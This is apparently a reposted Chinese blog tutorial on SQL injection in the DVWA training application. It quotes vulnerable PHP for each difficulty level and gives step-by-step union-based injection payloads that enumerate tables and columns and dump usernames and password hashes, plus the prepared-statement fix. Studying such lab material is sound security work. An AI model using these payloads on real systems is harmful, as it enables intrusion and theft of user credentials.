zoukankan      html  css  js  c++  java
  • DVWA各等级sql注入

    sql全等级注入

    level:low

    <?php
    
    if( isset( $_REQUEST[ 'Submit' ] ) ) {      //判断submit是否存在
        // Get input
        $id = $_REQUEST[ 'id' ];
    
        // Check database
        $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
        //sql的查询语句  寻找表段users中user_id对应的first_name,last_name对应的值
    
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
        //mysqli_query函数执行mysql查询 (其中 mysql_query()仅对 SELECT,SHOW,EXPLAIN 或 DESCRIBE 语句返回一个资源标识符,如果查询执行不正确则返回 FALSE 
        	//die()函数输出一条信息,并推出当前脚本
    		//mysql_error()函数返回上一个mysql操作产生的文本错误信息
    		//or 前一个语句执行不成功时才会执行后面的语句
    		//and 前一个语句执行成功时,才会执行后面的语句
    
    
    
        // Get results
        while( $row = mysqli_fetch_assoc( $result ) ) {
            // Get values
            $first = $row["first_name"];
            $last  = $row["last_name"];
    
            // Feedback for end user
            echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
        }
        mysqli_close($GLOBALS["___mysqli_ston"]);
    }
    ?> 
    //什么是同一资源标识符: (URL)
    			<!-- 第一部分:协议(或称服务方式)
    			第二部分:存有资源的主机IP地址(有时包括端口号)
    			第三部分:主机资源的具体地址 -->
    
    

    手工注入思路

    1. 判断是否存在注入,注入的类型是数字型还是字符型
    2. 猜解sql查询语句中的字段数
    3. 确定显示的字段顺序
    4. 获取当前数据库
    5. 获取数据库中的表
    6. 获取表中的字段名
    7. 下载数据

    sql手工注入漏洞利用

    现实攻击场景下,攻击者是无法看到后端代码的,所以下面的手工注入步骤是建立在无法看到源码的基础上。

    1. 判断是否存在注入,注入是字符型还是数字型

    输入1,查询成功:

    输入1’and ‘1’ =’2,查询失败,返回结果为空:

    输入1’or ‘1’=’1,查询成功:

    说明存在字符型注入

    1. 猜解SQL查询语句中的字段数

    输入1′ or 1=1 order by 1 #,查询成功:

    输入1′ or 1=1 order by 2 #,查询成功:

    当输入到1′ or 1=1 order by 3 #,时查询失败
    说明执行的SQL查询语句中只有两个字段,即这里的First name、Surname。
    (这里也可以通过输入union select 1,2,3…来猜解字段数)

    1. 确定显示的字段顺序

    输入1′ union select 1,2 #,查询成功:

    说明执行的SQL语句为select First name,Surname from 表 where ID=’id’…

    1. 获取当前数据库

    输入1′ union select 1,database() #,查询成功

    可得到当前数据库为dvwa

    1. 获取数据库中的表

    输入1′ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #,查询成功:
    输入1′ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #,查询成功:
    数据库dvwa中一共有两个表,guestbook与users。

    1. 获取表中的字段名

    输入1′ union select 1,group_concat(column_name) from information_schema.columns where table_name=’users’ #,查询成功:
    输入1′ union select 1,group_concat(column_name) from information_schema.columns where table_name=’users’ #,查询成功:
    说明users表中有8个字段,分别是user_id,first_name,last_name,user,password,avatar,last_login,failed_login

    1. 下载数据

    输入1′ or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #,查询成功:
    输入1′ or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #,查询成功:
    得到了users表中所有用户的user_id,first_name,last_name,password的数据。

    level:medium

    <?php
    
    if( isset( $_POST[ 'Submit' ] ) ) {
        // Get input
        $id = $_POST[ 'id' ];
        $id = mysql_real_escape_string( $id );
    
        // Check database
        $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
        $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
    
        // Get results
        $num = mysql_numrows( $result );
        $i   = 0;
        while( $i < $num ) {
            // Display values
            $first = mysql_result( $result, $i, "first_name" );
            $last  = mysql_result( $result, $i, "last_name" );
    
            // Feedback for end user
            echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    
            // Increase loop count
            $i++;
        }
    
        //mysql_close();
    }
    
    ?>
    
    • mysqli_real_escape_string()函数对用户输入的id参数进行过滤
    • 可以把单引号['],双引号["] 反斜杠[],空字符[null]等进行转义(转义:把指定的字符转换成毫无意义的符号,比如PHP解析器不会把经过转义的引号当过引号来看待 ##PHP中有一个类似功能的函数:addashes())
    • 方法

      medium级换成了POST请求,加入保护形式,由于SQL查询没有引用参数,这将不能完全保护查询不被更改。 通过burp抓包,之后再修改参数。

    level:high

    <?php
    
    if( isset( $_SESSION [ 'id' ] ) ) {
        // Get input
        $id = $_SESSION[ 'id' ];
    
        // Check database
        $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
        $result = mysql_query( $query ) or die( '<pre>Something went wrong.</pre>' );
    
        // Get results
        $num = mysql_numrows( $result );
        $i   = 0;
        while( $i < $num ) {
            // Get values
            $first = mysql_result( $result, $i, "first_name" );
            $last  = mysql_result( $result, $i, "last_name" );
    
            // Feedback for end user
            echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    
            // Increase loop count
            $i++;
        }
    
        mysql_close();
    }
    
    ?>
    
    
    
    • 方法

    • 与medium级别相比较,high只是在'Check database'中加入了LIMIT 1的限制,希望以此控制只输出一个结果。
    • 由于添加limit 1的限制,可以通过#(注释符)将其注释掉,手工注入与low一致
    • 需要特别提到的是,High级别的查询提交页面与查询结果显示页面不是同一个,也没有执行302跳转,这样做的目的是为了防止一般的sqlmap注入,因为sqlmap在注入过程中,无法在查询提交页面上获取查询的结果,没有了反馈,也就没办法进一步注入。

    level:impossible

    <?php
    
    if( isset( $_GET[ 'Submit' ] ) ) {
        // Check Anti-CSRF token
        checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
    
        // Get input
        $id = $_GET[ 'id' ];
    
        // Was a number entered?
        if(is_numeric( $id )) {
            // Check the database
            $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
            $data->bindParam( ':id', $id, PDO::PARAM_INT );
            $data->execute();
            $row = $data->fetch();
    
            // Make sure only 1 result is returned
            if( $data->rowCount() == 1 ) {
                // Get values
                $first = $row[ 'first_name' ];
                $last  = $row[ 'last_name' ];
    
                // Feedback for end user
                echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
            }
        }
    }
    
    // Generate Anti-CSRF token
    generateSessionToken();
    
    ?>
    
    
    

    按照所传递的数据类型分类:

    • 数字型注入:
      Select first_name,last_name from users where user_id =$id;
    • 字符型注入:
      Select first_name,last_name from users where user_id='$id'
    • 字符型注入需要闭合$id的单引号

    无论哪种类型,都可以通过直接输入单引号来判断是否存在注入点

    可以分别输入3和1+2,根据回显结果判断数据类型
    此dvwa版本为v1.9DVWA-1.9全级别教程之SQL Injection

  • 相关阅读:
    PHP的反射机制
    mysqlbinlog
    PHP调用java的class
    ecshop session机制
    memory_limit session.cache_expire ecshop初始化注释说明
    ecshop运行超过30秒超时的限制解决办法
    如果你想拥有事业,而非仅仅是工作
    扎克伯格谈”人际交往”趋势
    Magento架构分析,Magento MVC 设计分析
    推荐的PHP编码规范
  • 原文地址:https://www.cnblogs.com/zjhzjhhh/p/14102249.html
Copyright © 2011-2022 走看看